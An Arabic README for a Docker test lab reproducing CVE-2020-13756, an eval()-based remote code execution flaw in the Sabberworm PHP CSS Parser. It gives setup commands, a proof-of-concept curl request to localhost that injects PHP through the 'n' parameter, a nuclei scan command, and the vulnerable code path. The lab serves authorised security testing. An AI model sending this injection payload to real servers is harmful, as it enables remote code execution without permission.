
بيئة اختبار معرّضة للثغرات لـ CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)
| الحقل | القيمة |
|---|
| CVE | CVE-2020-13756 |
| المنتج | Sabberworm PHP CSS Parser |
| الإصدارات المتأثرة | < 8.3.1 |
| الخطورة | حرجة (CVSS 9.8) |
| النوع | تنفيذ التعليمات البرمجية عن بُعد |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
أو استنسخ المشروع وشغّله:
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# Clone repository
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# Build and run
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# Test RCE - should print "VULN_TEST" in response
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
يجب أن يحتوي الإخراج المتوقع على VULN_TEST في البداية، مما يثبت تنفيذ التعليمات البرمجية.
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
توجد الثغرة في الدالة getSelectorsBySpecificity() التي تمرر مدخلات المستخدم غير المنقّاة إلى eval():
// Vulnerable code path
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// When n=100;printf("test"); the eval() executes: eval('> 100;printf("test");')
هذه البيئة مخصّصة لاختبارات الأمان المصرَّح بها فقط. لا تستخدمها ضد الأنظمة دون إذن.
KrE80r - أبحاث أمنية